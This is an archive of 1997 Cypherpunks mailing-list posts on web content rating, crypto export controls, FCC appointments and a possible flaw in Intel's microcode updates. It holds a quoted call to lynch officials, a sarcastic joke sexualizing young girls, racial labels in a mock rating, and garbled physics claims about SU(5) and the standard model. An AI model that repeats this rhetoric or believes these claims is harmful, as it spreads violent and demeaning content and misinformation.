In-Reply-To: <199707162038.PAA26641@mailhub.amaranth.com>
Message-ID: 



On Wed, 16 Jul 1997, William H. Geiger III wrote:
> Any elected official or govenment employee found to have willfuly violated
> the Constitution of the United States of America should be draged to the
> capitol steps and promptly lynched.

	Then you'd have to lynch those that did the dragging and lynching 
as each induhvidual has the constitutional right to a trial.

Petro, Christopher C.
petro at smoke.suba.com 
snow at smoke.suba.com






From ravage at ssz.com  Thu Jul 24 19:51:06 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 25 Jul 1997 10:51:06 +0800
Subject: Spreading Technology (fwd)
Message-ID: <199707250235.VAA03381@einstein.ssz.com>



Forwarded message:

> Subject: Re: Spreading Technology (fwd)
> Date: Thu, 24 Jul 1997 18:05:17 -0700 (PDT)
> From: Mike Duvos 

>  > The SU(5) theory was arrived at by political contrivance in
>  > 1927 when the Solvay Conference was called to resolve the
>  > various theories that happened to be flying fast and furious
>  > at the time, instigated by DeBroglie.

> Excuse me?  SU(5) is a supersymmetric theory.  I seriously doubt
> it made its appearance in 1927.

I didn't say it did, I said the conference which decided what would end up
being the 'standard model' was decided in 1927. I further thought it was
interesting that the deciding factor was how the participants FELT about the
various theories and on NO theoretical or experimental evidence whatsoever.

The fact that I used the SU() symbology is a reflection of my thinking and
not history. When I took Engineering Physics from Sudarshin at UT in '82
that was what he used because he worked in particle physics. You are of
course free to use whatever symbology you feel comfortable with.

SU() is the symbology used by physicist as an extension of group
theory's U() symbology. The number in the () represents the number of
indipendant variables in the model and tells the researcher how many rows
and columns they need in their representative matrix.

SU(5) is the symbology used for the standard model of quantum mechanics.
SU(22), for example, is the commen "Super-string" theory that was of such
popularity a few years ago.

Glashow & Georgi developed the standard model representation in terms of
SU() in 1973. It has become the standard representation via group theories
for the standard model since then.

Bottem line, all cosmological theories that I am aware of can be mapped onto
SU() models. This is the power of this symbology in manipulating the models.

For those interested you should check out:

Particle Physics in the Cosmos: Readings from Scientific American
ISBN 0-7167-1919-3
$9.95

Pay particular attention to the explanation in Chpt. 4 (written by Georgi)
around pp. 69.

Particles and Forces: At the Heart of the Matter: Readings from Scientific
American
ISBN 0-7167-2070-1
$11.95

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From declan at well.com  Fri Jul 25 10:52:50 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 25 Jul 1997 10:52:50 -0700 (PDT)
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: 


Jamie, as you know, we disagree on your approach to self-labeling.

For the purposes of argument, let us say that we can agree that some,
extreme, sites are unsuitable for children. But the problems arise not on
the extremes, but in the great grey center.

Where do you draw the line? Therein lies the rub.

-Declan


On Fri, 25 Jul 1997, James Love wrote:

> Tim, if you think that no web site are unambiguously inappropriate for
> children, then you are in a state of denial.  However, while I don't
> expect to change your mind on that point, let me set the record straight
> on your note.  I don't favor RSACi or other PICS systems.  I think these
> are a mistake, and should be resisted.  However, I do favor a far less
> ambitious and less informative system (less is more, as far as I am
> concerned), which involves a simple, single voluntary tag, selected by
> the web page publisher, at their discretion, of the nature of 
> 
> 
> 
> I think this is quite different from RSACi or SafeSurf's system, for the
> reasons mentioned by my missive to Jonah.  
> 
> 
>    Jamie   
> 
> 
> Tim May wrote:
> > 
> > At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> > >---------- Forwarded message ----------
> > >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> > >From: James Love 
> > >To: Jonah Seiger 
> > >Cc: Declan McCullagh ,
> > fight-censorship at vorlon.mit.edu,
> > >    chris_barr at cnet.com
> > >Subject: Re: CDT, RSACi, and "public service" groups
> > >
> > >
> > >Jonah, I think the problems with the RSACi rating system are pretty
> > >obvious, and I also think it should be obvious that *any* rating
> > system
> > >that would aspire to rate all or even a significant number of web
> > pages
> > >would be a bad thing.  That said, it seems to me that there exist web
> > >pages that are unambiguously inappropriate for children.  Has CDT
> > rejected
> > 
> > "Unambiguously inappropriate for children"?
> > 
> > No such thing. I can think of many, many things which many consider
> > inappropriate for children (what age?), but which others, including
> > myself,
> > consider perfectly appropriate. I see no particular need to recite
> > examples
> > here.
> > 
> > Even with "obscenity," whatever that is (I seem not to know it when I
> > see
> > it, which would make me a poor Supreme Court Justice), that there are
> > obscenity prosecutions and trials would seem to indicate that such
> > materials are not "unambigously obscene."
> > 
> > The "mandatory voluntary" PICS/RSACi ratings, with penalties
> > (presumably)
> > for "mislabeling," just are another form of content control.
> > 
> > If they are truly voluntary, then people are free to say that a nudist
> > site
> > is appropriate for children, or not to label at all...the null label
> > is
> > just another label.
> > 
> > (Nudist sites, in realspace as well as cyberspace, are a classic
> > example of
> > the difficulty of judging "appropriate for children." Some
> > jurisdicitions
> > are attempting to legislate against children being in nudist camps.
> > They
> > would even claim that children seeing adults and other children nude
> > is
> > "unambiguosly inappropriate." Others disagree. So, how would their web
> > site
> > be labeled?)
> > 
> > The notion that something is "unambiguously" inapproprate, obscene,
> > heretical, treasonous, whatever, is a flawed concept.
> > 
> > --Tim May
> > 
> > There's something wrong when I'm a felon under an increasing number of
> > laws.
> > Only one response to the key grabbers is warranted: "Death to
> > Tyrants!"
> > 
> > ---------:---------:---------:---------:---------:---------:---------:----
> > Timothy C. May              | Crypto Anarchy: encryption, digital
> > money,
> > tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms,
> > zero
> > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> > markets,
> > Higher Power: 2^1398269     | black markets, collapse of governments.
> > "National borders aren't even speed bumps on the information
> > superhighway."
> 
> -- 
> _______________________________________________________
> James Love | Center for Study of Responsive Law
> P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> http://www.cptech.org | love at cptech.org
> 
> 






From snow at smoke.suba.com  Thu Jul 24 20:12:03 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 25 Jul 1997 11:12:03 +0800
Subject: Our basic rights are not to be traded away for exports
In-Reply-To: 
Message-ID: 



On Thu, 17 Jul 1997, Tim May wrote:
> At 6:43 PM -0700 7/17/97, Declan McCullagh wrote:
> >We need the administration to do one thing: lift export controls.
> >Then it and Congress should forget all about the Net.
> >-Declan
> I don't think it is going to do that. Unless it gets something _major_ in
> return, as part of a deal.

	Like...Their lives & jobs? 

> And given the choice between liberty and a lifting of export restrictions,
> I know which side I support. No doubt about it.

Petro, Christopher C.
petro at smoke.suba.com 
snow at smoke.suba.com






From tcmay at got.net  Fri Jul 25 11:12:24 1997
From: tcmay at got.net (Tim May)
Date: Fri, 25 Jul 1997 11:12:24 -0700 (PDT)
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: 


At 10:52 AM -0700 7/25/97, Declan McCullagh wrote:
>Jamie, as you know, we disagree on your approach to self-labeling.
>
>For the purposes of argument, let us say that we can agree that some,
>extreme, sites are unsuitable for children. But the problems arise not on
>the extremes, but in the great grey center.
>
>Where do you draw the line? Therein lies the rub.

I reject even the "we can agree that some, extreme, sites are unsuitable
for children" point.

If you don't want your children exposed to some material, stop them from
accessing the material.

Consider this, if the voluntary mandatory PICS/RSACi system gets deployed,
as I expect it will be (The Protection of Our Children Act of 1997, a sure
election winning issue), who will decide on what is a mislabeling?

And why should it be restricted to sexual issues?

Surely there are many good Christians (TM) who will argue that a site
devoted to "10 Reasons Jesus was a Fool" is "unambiguously inappropriate"
for their little Johnnies and Suzies.

And so on. The Net will end up recapitulating the battles which have raged
for several decades (and longer) about what materials are suitable or
unsuitable for children in school libraries.

Again, I view all of my writings, and my Lolita Recruitment Nudist Web
Page, as suitable for children of all ages, especially cute little
12-year-old girls!!!

(I'm not a perv, though, and I expect them to show some proof that they've
started to develop. In fact, I'll create a Web page devoted to how young
lolitas can prove they're developing womanhood. Obviously appropriate to
all.)

Seriously, if their parents don't want them exposed to this kind of site,
or to "sexual issues for young women," or "a boy's guide to older men," or
atheistic materials, or seditious, treasonous, Cypherpunkish materials,
then let those parents block access.

(And a "voluntary mandatory" label will not help, as folks like me will
_accurately label_ our material so as to appeal to these targets! Accurate
by our values. Here lies the real rub.)

Oh, and Declan's point that the real issues lie in the middle...well, tell
that to the Thomases, of Amateur Action. The real issues lie at the fringes.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years







From die at pig.die.com  Thu Jul 24 20:16:40 1997
From: die at pig.die.com (Dave Emery)
Date: Fri, 25 Jul 1997 11:16:40 +0800
Subject: Fortezza dying on the vine?
In-Reply-To: 
Message-ID: <199707250257.WAA01323@pig.die.com>



Lucky Green wrote :

> The State department is using PGP for some overseas applications. Word 
> is that the NSA was quite unhappy to be told by State that 
> Fortezza just isn't up to par.

	That is astonishing.  Are you really really sure of your source ?
I presume this is for UNCLASS traffic and not anything in any way
sensitive ?   Of course PGP, when properly used, doesn't allow any
other agencies to monitor the coms, while Fortezza may - and this
may be a quite deliberate move by some in state to protect their cables
from being read by beaurocratic rivals...

							Dave Emery
							die at die.com

> 






From snow at smoke.suba.com  Thu Jul 24 20:22:18 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 25 Jul 1997 11:22:18 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: 
Message-ID: 



On Thu, 17 Jul 1997, Tim May wrote:
> - I rather suspect that all of the employees of C2Net, surely a
> "Cypherpunks company" if ever there were one, mundanely receive their W-2s
> and file diligently. (Actually, the odds are that some of them are already
> delinquent on filing, but the point remains valid.)

	Having done a little graphics work for them last year I can attest
to the fact that they sent me a 1099.

Petro, Christopher C.
snow at smoke.suba.com






From ravage at ssz.com  Thu Jul 24 20:25:15 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 25 Jul 1997 11:25:15 +0800
Subject: http:--cnnfn.com-hotstories-washun-wires-9707-24-fcc_wg-
Message-ID: <199707250312.WAA03562@einstein.ssz.com>



   
   
   Help for your desk so that it is no longer flooded with calls with the
   new HP Vectra PCs. [INLINE] Washington Unwrapped graphic 
   New FCC chief to be named
   
   
   Kennard expected to get post, but choice has irritated Sen. Hollings
   
   July 24, 1997: 6:49 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Hundt sees book in future - June 2, 1997
   
   
   FCC Chairman steps down - May 27, 1997
   
   [INLINE]
   
   Federal Communications Commission
   Infoseek search 
   __________
   ____  ____
   WASHINGTON (CNNfn) - President Clinton has settled on William Kennard
   to be his choice to become the next chairman of the Federal
   Communications Commission, well-placed Administration officials tell
   CNN.
   [INLINE] Kennard, the FCC's current general counsel, would succeed
   Reed Hundt, if confirmed by the Senate.
   [INLINE] The sources say the president could make the announcement as
   early as Friday, though the official announcement could slip a bit.
   [INLINE] Kennard was favored for the job by Vice President Al Gore,
   the White House official who makes most of the final decisions
   regarding FCC appointments, because of Gore's long time work on
   telecommunications issues. But another telecommunications policy maker
   in Washington is furious at the White House for the Kennard selection.
   [INLINE] Sen. Ernest Hollings, the ranking Democrat on the Senate
   Commerce Committee, had pushed his former chief of staff on the
   committee, Ralph Everett, for the job. Everett, the first African
   American to ever serve as chief of staff to any Senate committee, had
   the endorsement of 16 Senators and was considered a leading candidate
   for the job.
   [INLINE] Not only is Hollings angry that his candidate didn't get the
   nod, but sources say he is also miffed about how the White House
   handled the process of making the final decision. White House Chief of
   Staff Erskine Bowles called Hollings, Senate sources say, "to
   apologize for how this was handled."
   [INLINE] One source close to Hollings told CNN Financial News, "Don't
   expect quick work in the Senate on this nominee."
   [INLINE] The president also is expected to nominate Justice Department
   attorney Michael Powell to fill a Republican vacancy on the
   five-member FCC, according to the sources.
   [INLINE] And Gloria Tristani, a phone regulator from New Mexico, is
   expected to be Clinton's choice to fill a Democratic seat.
   [INLINE] Those two nominations, however, aren't expected to be
   announced at the same time as the Kennard pick. Clinton already had
   nominated Kennard for the FCC. But the president has yet to name his
   choice for chairman of the agency following Hundt's announcement in
   May that he planned to leave.
   [INLINE] Clinton already has nominated Harold Furchtgott-Roth, chief
   economist for the House Commerce Committee, to fill a second
   Republican vacancy. The FCC oversees the phone, broadcast, wireless,
   satellite and cable-television industries. Link to top 
   
   
   
   home | washington unwrapped | hot stories | contents | search | stock
   quotes | help
   
   Copyright © 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.






From info at we-work-for-you.com  Fri Jul 25 11:37:02 1997
From: info at we-work-for-you.com (info at we-work-for-you.com)
Date: Fri, 25 Jul 1997 11:37:02 -0700 (PDT)
Subject: Put Us To Work For You TODAY!!
Message-ID: <199707251433.KAA29083@hitsrus.com>


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From love at cptech.org  Fri Jul 25 11:41:12 1997
From: love at cptech.org (James Love)
Date: Fri, 25 Jul 1997 11:41:12 -0700 (PDT)
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: <33D8F403.245C04CD@cptech.org>


Declan McCullagh wrote:
> 
> Jamie, as you know, we disagree on your approach to self-labeling.
> 
> For the purposes of argument, let us say that we can agree that some,
> extreme, sites are unsuitable for children. But the problems arise not
> on
> the extremes, but in the great grey center.
> 
> Where do you draw the line? Therein lies the rub.
> 
> -Declan


     Thanks for asking this question.  I think it is important.  I would
have the labeling system be something that suits the publisher of the
web page.  The web page publisher would decide if he or she wanted to
label the site as adult.  There wouldn't be a great gray center, in the
sense that the author/owner of the web page would make the decision to
label or not label.  Why would anyone label?  As you know, most porn
sites already have labeling out the whazoo.  (how is this spelled?)  
The problem is that the label takes so many different forms, browsers
can't filter the current labels, and that is why we have so much
interest in cybersiter and other AI programs.  This would make their
existing voluntary labeling systems actually work.  The simpler the
tagging system, and the less information it conveys, the less likely it
could be used to create a much more grandiose content labeling system. 
This is a pragmatic proposal.  I think it makes sense.


                  Jamie  






> 
> On Fri, 25 Jul 1997, James Love wrote:
> 
> > Tim, if you think that no web site are unambiguously inappropriate
> for
> > children, then you are in a state of denial.  However, while I don't
> > expect to change your mind on that point, let me set the record
> straight
> > on your note.  I don't favor RSACi or other PICS systems.  I think
> these
> > are a mistake, and should be resisted.  However, I do favor a far
> less
> > ambitious and less informative system (less is more, as far as I am
> > concerned), which involves a simple, single voluntary tag, selected
> by
> > the web page publisher, at their discretion, of the nature of
> >
> > 
> >
> > I think this is quite different from RSACi or SafeSurf's system, for
> the
> > reasons mentioned by my missive to Jonah.
> >
> >
> >    Jamie   
> >
> >
> > Tim May wrote:
> > >
> > > At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> > > >---------- Forwarded message ----------
> > > >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> > > >From: James Love 
> > > >To: Jonah Seiger 
> > > >Cc: Declan McCullagh ,
> > > fight-censorship at vorlon.mit.edu,
> > > >    chris_barr at cnet.com
> > > >Subject: Re: CDT, RSACi, and "public service" groups
> > > >
> > > >
> > > >Jonah, I think the problems with the RSACi rating system are
> pretty
> > > >obvious, and I also think it should be obvious that *any* rating
> > > system
> > > >that would aspire to rate all or even a significant number of web
> > > pages
> > > >would be a bad thing.  That said, it seems to me that there exist
> web
> > > >pages that are unambiguously inappropriate for children.  Has CDT
> > > rejected
> > >
> > > "Unambiguously inappropriate for children"?
> > >
> > > No such thing. I can think of many, many things which many
> consider
> > > inappropriate for children (what age?), but which others,
> including
> > > myself,
> > > consider perfectly appropriate. I see no particular need to recite
> > > examples
> > > here.
> > >
> > > Even with "obscenity," whatever that is (I seem not to know it
> when I
> > > see
> > > it, which would make me a poor Supreme Court Justice), that there
> are
> > > obscenity prosecutions and trials would seem to indicate that such
> > > materials are not "unambigously obscene."
> > >
> > > The "mandatory voluntary" PICS/RSACi ratings, with penalties
> > > (presumably)
> > > for "mislabeling," just are another form of content control.
> > >
> > > If they are truly voluntary, then people are free to say that a
> nudist
> > > site
> > > is appropriate for children, or not to label at all...the null
> label
> > > is
> > > just another label.
> > >
> > > (Nudist sites, in realspace as well as cyberspace, are a classic
> > > example of
> > > the difficulty of judging "appropriate for children." Some
> > > jurisdicitions
> > > are attempting to legislate against children being in nudist
> camps.
> > > They
> > > would even claim that children seeing adults and other children
> nude
> > > is
> > > "unambiguosly inappropriate." Others disagree. So, how would their
> web
> > > site
> > > be labeled?)
> > >
> > > The notion that something is "unambiguously" inapproprate,
> obscene,
> > > heretical, treasonous, whatever, is a flawed concept.
> > >
> > > --Tim May
> > >
> > > There's something wrong when I'm a felon under an increasing
> number of
> > > laws.
> > > Only one response to the key grabbers is warranted: "Death to
> > > Tyrants!"
> > >
> > >
> ---------:---------:---------:---------:---------:---------:---------:----
> > > Timothy C. May              | Crypto Anarchy: encryption, digital
> > > money,
> > > tcmay at got.net  408-728-0152 | anonymous networks, digital
> pseudonyms,
> > > zero
> > > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
> > > markets,
> > > Higher Power: 2^1398269     | black markets, collapse of
> governments.
> > > "National borders aren't even speed bumps on the information
> > > superhighway."
> >
> > --
> > _______________________________________________________
> > James Love | Center for Study of Responsive Law
> > P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> > http://www.cptech.org | love at cptech.org
> >
> >

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love at cptech.org





From snow at smoke.suba.com  Thu Jul 24 21:16:35 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 25 Jul 1997 12:16:35 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 



On Fri, 18 Jul 1997, Alan wrote:
> On Fri, 18 Jul 1997, Tim May wrote:
> > At 3:56 PM -0700 7/18/97, Alan wrote:
> > >I recieved this today via e-mail.  I find it strange since I have never
> > >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > >my Cypherpunks mail shows up at a different address.
> > What makes you think the "interest" is your interest in them?
> > It's _their_ interest in _you_.
> Yes.  It looks like every e-mail address on Jim Bell's computer got this
> nice little "warning/example".

	I recieved this as well. 

> Where is Declan when you need him. ]:>

	I wonder if he got it. 

	Seems to me, this is a warning. 

	The Gooberment is warning us that they are watching us, and 
They are NOT PLEASED. 

	Assholes. They are supposed to be working FOR US.

> impresive logs as to sender's identity.  It does not look like a spoof,
> unless they hacked behind the IRS firewall.)

	Wanna bet on how secure that firewall is? 

Petro, Christopher C..
snow at smoke.suba.com






From die at pig.die.com  Thu Jul 24 22:02:03 1997
From: die at pig.die.com (Dave Emery)
Date: Fri, 25 Jul 1997 13:02:03 +0800
Subject: Another vulnerability
Message-ID: <199707250447.AAA01770@pig.die.com>



With Intel, Hackers Check In When Bugs Check Out 

By Alexander Wolfe

SANTA CLARA, Calif. -- Intel's BIOS Update technology to quickly
fix bugs that crop up in its microprocessors without having to recall
the
chips may contain a Trojan horse -- a hole that could potentially enable
hackers to wreak havoc on the company's CPUs -- said a BIOS expert
familiar with the technology.However, other industry experts said they
believe Intel is staking out a pace-setting position with its
bug-busting
technology. They give the semiconductor giant kudos for using BIOS
Update to reduce the impact of bugs in the face of a verification crisis
that
makes it increasingly difficult to ensure that microprocessors with tens
of
millions of transistors are validated and free of flaws.

BIOS Update is a hidden feature that can fix bugs in Pentium Pro and
Pentium II CPUs by patching the microcode inside the microprocessor.
When the processor boots up, the BIOS loads the patches, which are
contained in a 2,048-byte-long BIOS Update data block that is supplied
by Intel.
"The problem is, the BIOS cannot verify whether the BIOS Update data
block contains real microcode or not," claimed one BIOS expert, who
requested anonymity. "As long as the header and the checksum are okay,
the BIOS will load that microcode into the microprocessor. Some hacker
could actually wipe out microcode in the CPU. There is nothing that can
prevent this."

Intel doesn't see such a scenario as a realistic threat, pointing to the
fact
that the BIOS Update data block is encrypted. "We've spent quite a lot
of time thinking about such scenarios to make sure we had sufficient
mechanisms in place so you couldn't introduce your own flavor of BIOS
Update into the processor," said Ajay Malhortra, a technical marketing
manager based here at Intel's microprocessor group. "Not only is the
data block containing the microcode patch encrypted, but once the
processor examines the header of the BIOS update, there are two levels
of encryption in the processor that must occur before it will
successfully
load the update."

But Intel's biggest security feature may lie in keeping the technical
details
behind its BIOS Update technology a closely guarded secret. "There is
no documentation," said Frank Binns, an architect in Intel's
microprocessor group. "It's not as if you can get an Intel 'Red Book'
with
this stuff written down. It's actually in the heads of less than 10
people in
the whole of Intel."

However, some experts remain unconvinced. "This is just like any other
technology -- if you want to reverse-engineer it, you can," said Ed
Curry,
president of Lone Star Evaluation Laboratories, a Georgetown, Texas
microprocessor benchmarking and testing company. "You can do it by
brute force, or a hacker could obtain information from someone inside
the
company or someone who had access to the documentation."

Indeed, Curry, who said he's made presentations on computer-security
issues to the U.S. Defense Department, said he believes microprocessor
hardware in general is much more vulnerable to hacking than is commonly
believed.

"This is the big hole in our government security programs," he said.
"They
don't look at hardware as well as they should; they only look at
software.
This goes beyond desktop computers. You have to remember that
microprocessors are now embedded in our weapons systems."

Nevertheless, it's widely believed that it would be tough for a hacker
to
fake a complete microcode patch, in no small measure because it's also
very difficult to obtain documentation that details the internal
representation -- word widths and usage of all the bits -- of Pentium
Pro
microcode. In the era of the 8086 and 8088, microcode documentation
was readily available. But such information is provided to selected
developers only under tight nondisclosure restrictions. "It's a tightly
held
secret," Intel's Binns said.

New-Tech Jitters

However, it is seen as more feasible for a hacker to successfully fake
the
header and checksum portion of the BIOS Update data block --
something that could still cause the microprocessor to crash or lock up.

According to another BIOS expert, talk of potential Trojan horses might
be nothing more than jitters about new technology. "This is a new thing
in
the market," said the expert, who likened it to the early days of flash
BIOS.

"There was a great fear factor when the industry started using flash
BIOSes," he said, "where concerns were raised that somebody could go
in and destroy a system by flashing in a new BIOS containing an errant
piece of code. I think today there's a fear that someone will play
around
with this BIOS Update feature and try to cause havoc with Intel's
CPUs."

As an added security precaution, some BIOS manufacturers limit access
to their software. "As a matter of policy, we don't make our BIOS code
available to anyone other than a system vendor or motherboard
manufacturer," said Thomas Benoit, corporate marketing manager at
BIOS vendor Phoenix Technologies, Natick, Mass. "We don't believe
anyone should be twiddling the bits in our BIOS code."

Irrespective of Trojan horse scenarios, many experts see Intel's
bug-busting technology as a boon. "This feature benefits everyone -- it
shouldn't be viewed as a liability, but as an asset," said Mark Huffman,
marketing manager at American Megatrends, in Norcross, Ga. "It allows
you to be able to update your processor without pulling it out of the
system. Obviously, you can flash in a new BIOS a lot quicker than you
can pop the case, pop the CPU and wait for a replacement."

Indeed, BIOS Update has already been successfully used in the field to
fix glitches in Pentium Pro-class CPUs, according to an Intel spokesman
and to sources at several major BIOS vendors.

"Yes, it is used," said an engineer at one vendor. "I personally know of
five different things in the Pentium Pro related to multiprocessing,
system
management interrupt and other areas."

"I think it'll be very useful," Phoenix Technology's Benoit said. "It's
really to Intel's benefit that BIOS vendors are implementing this
feature."

"It's a very good feature," said Laurent Gharda, vice president of
marketing at BIOS vendor Award Software International, in Mountain
View, Calif. "The downside is going to be lower performance, perhaps.
But the upside is avoiding a chip recall, as took place a few years
ago."
Intel's Pentium was recalled in January 1995 following the revelation of
a
bug in the processor's floating-point divide operations.

Moreover, some say BIOS Update may signal the start of an
industrywide trend. "These new Pentium-class clone CPUs that have
recently been announced -- like the Centaur microprocessor -- they're
going to do the same type of process," said Huffman at American
Megatrends. Centaur -- officially the IDT-C6 -- is made by Centaur
Technology, an Austin, Texas-based subsidiary of Integrated Device
Technology. It was introduced in May and delivered to beta customers in
Taiwan last month.

At Centaur, a spokesman said, "The current silicon we are sampling has
that capability, but in the production version of the chip we are
dropping
the feature, because it necessitates an increased die size."

As a result, any bugs that crop up will have to be fixed via a mask
revision
-- a path the spokesman described as preferable. "Ideally, you want to
do
fixes by mask changes," he said. "That way, you'll have clean silicon
moving forward. Otherwise, you have lots of different versions of BIOS
floating around." But Centaur can easily add the feature back into
future
versions, if it wishes.

For its part, Advanced Micro Devices of Sunnyvale, Calif., does not have
the feature in its K5 and K6 microprocessors, according to a company
spokesman. "There are some errata that can't be fixed by a BIOS update
-- specifically, a hardwired instruction can't be changed." He added
that
AMD has the ability to add the feature into future designs, if it deems
it
necessary.

Still, Huffman of American Megatrends thinks the BIOS Update feature
has legs. "I think you'll see a trend toward CPU manufacturers
incorporating this capability so they can perform microcode updates in
the
field," he said. "It gives them more flexibility in their manufacturing
process -- they can keep their fab lines running and don't have to stop
them to make a mask change and switch to a new stepping every time
there's an
erratum. More important, they don't have to recall the stepping that has
the bug. They can just issue a BIOS update."

Intel doesn't tell the BIOS vendors what bugs are being fixed in any
given BIOS Update. However, there appears to be a way to figure that
out.

 "It's true you can't see what's happening from a binary standpoint,"
the
BIOS expert who requested anonymity said. "But Intel does release
errata along with the update, which gives an explanation of what the
update is for. To that extent, you know what they're fixing, though you
don't know the exact binary details of what's occurring."

Although the BIOS Update feature is firmly in place in the Pentium Pro
and Pentium II families, Intel declined to comment on whether it is
being
used in Pentiums with the MMX multimedia extensions. Looking ahead,
deciding whether to implement the technology in future CPU families will
involve architectural considerations that extend far beyond a desire to
bust
bugs.

"We're just learning the power this technology really has," Intel's
Malhortra said. "In concert with that, we're also becoming more aware of
some of its limitations. For example, the trade-off between die size
that's
used for microcode-patchable space [i.e., for the BIOS Update feature]
vs. die size that can be devoted to performance enhancements or to
additional micro-architectural features is a tough one."

Validation Boost

"One could make the argument that, with improved validation processes,
you won't need to expand silicon real estate devoted to the
microcode-patch feature, because early validation would catch the bulk
of
problems," Malhortra added.

Nevertheless, there's a growing concern that microprocessor bugs could
become a bigger problem as 64-bit CPU architectures -- which will be
orders of magnitude more difficult to validate than current designs --
are
introduced toward the end of the decade.

"It's becoming abundantly clear that the ability to manufacture in high
volume and to provide a reliable product through validation are somewhat
mutually exclusive," Intel's Binns said. "It takes a fairly large amount
of
time to wring all the errata out of a processor. Fixing errata by making
changes to silicon is OK, if you can make those changes quickly.
Unfortunately, with the complexity of the processors we've got today,
that's not acceptable. The smarter we can get with features like this,
the
less errata we bring to market. And if we do see errata after we ship,
we
can correct them in situ."

----- End of forwarded message from Richard Crisp -----






From stewarts at ix.netcom.com  Thu Jul 24 22:03:23 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 25 Jul 1997 13:03:23 +0800
Subject: Rating online content can work; rating news can't
In-Reply-To: <33D6B0D0.19D1@netcom.com>
Message-ID: <3.0.2.32.19970724144113.00772da4@popd.ix.netcom.com>



At 06:34 PM 7/23/97 -0700, Steve Schear wrote:
>Since the Supreme Court said the online world should be as free as
>print, and no self-labeling system exists for magazines or newspapers,
>why should the Net be any different?  I don't believe that a self-rating
>system is either practical or desirable.  Enactment of any laws to put
>teeth into Internet self-ratings will almost certainly run afoul of
>Constitutional challenges, and without such laws compliance and thus
>widespread acceptance is unlikely.

Genuinely voluntary self-rating systems, and third-party rating-services,
are both practical and desirable for some kinds of communications.
(Mandatory systems are of course evil and inadequate.)
Not only are there people who are concerned about what their kids will see,
there are also readers who don't want to be bothered with SPAM,
readers who only want to join Better-Business-Bureau-approved MLM scams,
Usenet readers who don't want their porn diluted with phone sex ads,
web users who'd like to get further information on products without
getting junk email as well, and all sorts of applications that
don't fit well into the standard two-deadly-sins model or the
"one rating service knows all the sites you don't want to see" model.

Voluntary rating systems allow a multiplicity of values.
The latest TV ratings and V-Chip model not only can't cope with
rating news*, it also doesn't rate TV commercials -- which would score
high on greed/envy/gluttony/sugar-content/boredom,
none of which deadly sins are covered by the V-Chip scale
but are often more interesting criteria both to parents and viewers
than the sex and violence - parents know The Disney Channel isn't going
to show porn on Saturday mornings.  If your VCR also knew about ratings,
you'd be able to watch the shows commercial-free on tape...

Multiple voluntary ratings systems do mean that the information you
want to see won't always have a rating from a rating system you use;
that's the way it goes.  If it's voluntary, then some readers will set
their browsers to fail open, and some will set them to fail closed,
and some will be exposed to rating services that may offer them
other ways to find high-quality reading than the ones they use today.

And, yes, search engines that know about Interestingness ratings 
can be a win, if you've got some criteria that simple keyword searches
don't describe well enough to pick the best 100 of 512387 matches.
	
>I have no doubt that the definition of 
>what qualifies as a bona fide news organization is in the
>eye of the beholder.  I certainly would not class CNET with any of the
>major US newspapers, magazines nor the WSJ.  

This is cyberspace.  Everybody's a bona-fide news organization.
Some are more organized than others, and some make up more of the 
news as they go along than others (which network blew up cars?),
and some people focus more on commentary than events or analysis,
but the oligopoly model -- a few newspapers which can afford distribution,
a few TV stations with government-granted spectrum monopolies,
and a few big wire services spoon-feeding everybody -- is dead.
Freedom of the press belongs to anyone who owns one, and that's
everyone who can afford a used PC and a free Juno account...
The big news organizations can still add a lot of value,
but there are a lot more voices in the game.

